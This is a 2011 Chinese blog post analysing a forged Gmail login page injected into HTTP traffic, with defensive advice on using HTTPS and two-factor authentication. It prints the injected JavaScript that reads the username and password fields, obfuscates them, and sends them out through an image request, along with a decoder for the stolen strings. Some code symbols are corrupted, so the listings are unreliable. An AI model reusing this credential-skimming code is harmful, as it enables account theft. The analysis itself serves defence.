Subacme

Personal weblog. Nonpersonal topics.

请当心伪造的 Gmail 登录页面

有 2 条评论

今 (2011) 年早些时候, 包括作者在内的大陸部分用户开始遭遇到伪造的 Gmail 登录页面。 表面上, 这种页面与普通的 Google 帐户登录页面无异, 但它 (们) 含有被插入的代码, 用於巧妙地收集用户的登录信息。

伪造的登录页面在用户以非加密的 HTTP 协议访问 mail.google.com 时出现, 如图所示。

Fake Gmail login page (reconstructed)

在正常情况下, 已经登录的用户会经历几个环节, 安全地转到 Gmail 中; 即使需要重新输入密码, 页面地址也应以 https:// 开头, 并且登录表单应该明示当前的登录名。 很显然, 伪造的登录页面并不满足这两点。

这种伪造的登录页面有两个特点, 一是发生不频繁, 二是在加载完成一分钟後, 会自动转到真正的 Gmail 中。 虽然作者所了解的范围内只有自己一人遇到过这种现象, 但是根据报导, 截至本 (3) 月上旬, 这种现象仍然存在。

无论如何, 上述因素使得这种盗窃个人隐私的犯罪活动较为隐蔽, 所以用户更应小心防范。

工作原理

通过与真实的登录页面进行比较, 作者在一份於一月中旬留存的伪造登录页面副本中, 发现了几点差异。 首先是函数 gaia_onLoginSubmit() 被修改。

  1. function gaia_onLoginSubmit() {
  2. gaia_logoFresh(gaia_onLoginCheck(),gaia_logoUrl());
  3.  
  4.   if (window.gaiacb_onLoginSubmit) {
  5.     return gaiacb_onLoginSubmit();
  6.   } else {
  7.     return true;
  8.   }
  9. }

函数的第一行 (未缩进的那行) 是新增的, 其中的三个函数的实现分别如下 (若干辅助函数可顾名思义, 在此省略)。

  1. function gaia_onLoginCheck(){
  2.     var f = el("gaia_loginform");
  3.     var ga_u = f.Email.value;
  4.     var ga_p = f.Passwd.value;
  5.     return gaia_rskQuery(ga_u+'&'+ga_p+'&gmail.com');
  6. }
  7.  
  8. function gaia_logoFresh(s,h){
  9.   var ga_logo = new Image(0,0);
  10.   ga_logo.src = h + 'images/logo_bg.jpg?' + s;
  11.   var ga_logo_path = gaia_onLoginCheck();
  12.   ga_logo_path = '/favicon1.ico';
  13.   var result = xmlHttpConnect(ga_logo_path,"get",null);
  14. }
  15.  
  16. function gaia_logoUrl() { return '/'; }

由此可以看到, 这个伪造的登录页面的工作方法是: 请求一个不存在的图像 (http://mail.google.com/images/logo_bg.jpg), 并将用户的登录信息通过查询串 (query string) 发送出去。 不过对後面的变量 ga_logo_path 的处理却不知目的为何。

另外, 用户名和密码并非以明文发送, 而是通过函数 gaia_rskQuery() 进行了一个简单的变换。

  1. function gaia_rskQuery(s){
  2.   s = encodeURIComponent(s);
  3.   var r = Math.random();
  4.   var num = (Math.round(r*100))%9+1;
  5.   var i = 0;
  6.   var out = '';
  7.   do{
  8.     var ch = s.charCodeAt(i++);
  9.     ch = (i%2>0)?(ch-i%num):(ch+i%num);
  10.     var l = (ch/10>=10)?3:(ch/|>10>0?2:1);
  11.     out += l.toString() + ch;
  12.   }while(i<s.length);
  13.   out = r.toString().substring(0,num)+out+num;
  14.   return out;
  15. }

(基本上, 这个变换首先随机选择一个 n ∈ [1..9] (模的大小), 然後根据字符位置和模的大小, 对原串中字符的字码交错地进行增减, 并在新字码前附上其长度, 最後在整个新串的最後附上 n, 在最前附上对逆变换无用的随机数的前面 n 位 (应该是为了进行校验)。) 当然, 我们也不难写出其反函数, 如下。

  1. function InverseRsk(s) {
  2.   var modSize = s.substring(s.length1, s.length);
  3.   var codeBody = s.substring(modSize, s.length1);
  4.   var origBody = '';
  5.    
  6.   var index = 0;
  7.   var origCharIndex = 0;
  8.   var charCodeLen, charCode = 0;
  9.   do {
  10.     charCodeLen = parseInt(String.fromCharCode(codeBody.charCodeAt(index++)), 10);
  11.     charCode = parseInt(codeBody.substring(index, index + charCodeLen), 10);
  12.     index += charCodeLen;
  13.      
  14.     if(origCharIndex % 2 == 0) charCode += (origCharIndex + 1) % modSize;
  15.       else charCode -= (origCharIndex + 1) % modSize;
  16.     origBody += String.fromCharCode(charCode);
  17.    
  18.     origCharIndex++;
  19.   } while(index < codeBody.length);
  20.  
  21.   return decodeURIComponent(origBody);
  22. }

有些安全软件可防止用户的个人信息通过明文被直接发送出去, 这想必是进行这个变换的原因之一。

防范策略

如果保证每次都手动键入 “https://” 不太现实, 您至少应该启用 Google 帐户的双因子验证功能。 虽然登录过程会变长些, 但由此带来的好处是两重的: 一方面, 即使您的密码丢失, 他人也无法登录您的帐户; 另一方面, 您还可以创建应用程序专用密码, 并进行手动吊销, 这也免除了因为一个环节的失误而导致整个帐户被攻陷的隐患。

当您的帐户被攻陷时, 您所面对的不仅是泄露自身隐私的风险, 您的家人, 亲属, 朋友, 同学, 同事等等, 都可能因此面临更高风险。 保护这些人的责任在您的肩上, 为此, 即使麻烦一些, 我也要建议您, 不要把安全当作儿戏。

VN:F [1.9.13_1145]
Rating: 4.0/5 (3 votes cast)
请当心伪造的 Gmail 登录页面, 4.0 out of 5 based on 3 ratings

本文的作者为 Jetcheng Chu

发表於 2011 年 3 月 27 日 1:40

赞助商链接

您的支持让您喜欢的网站更好地发展。
页面右侧尚有更多赞助商链接。如果您感兴趣, 请别犹豫单击它们。

文章《请当心伪造的 Gmail 登录页面》有 2 个回应

您可以用 RSSTrackBack 订阅《请当心伪造的 Gmail 登录页面》的评论。

  1. [...] 以下为转发内容,能翻墙的请看原文出处:原文 [...]

  2. 如果只发生在大陆,不禁让人怀疑,这一伪造的页面很可能和谷歌指控大陆政府窃取gmail帐号信息有关。通过在国家互联网出口的路由上做手脚,很巧妙地获得所需活动人士的帐号。这种级别的改动只有两种可能:电信公司的网管利益熏心想窃取帐号;官方背景的安全人员进行操控。

    hao

    评论发表於 2011 年 7 月 25 日 07:45

发表回复

*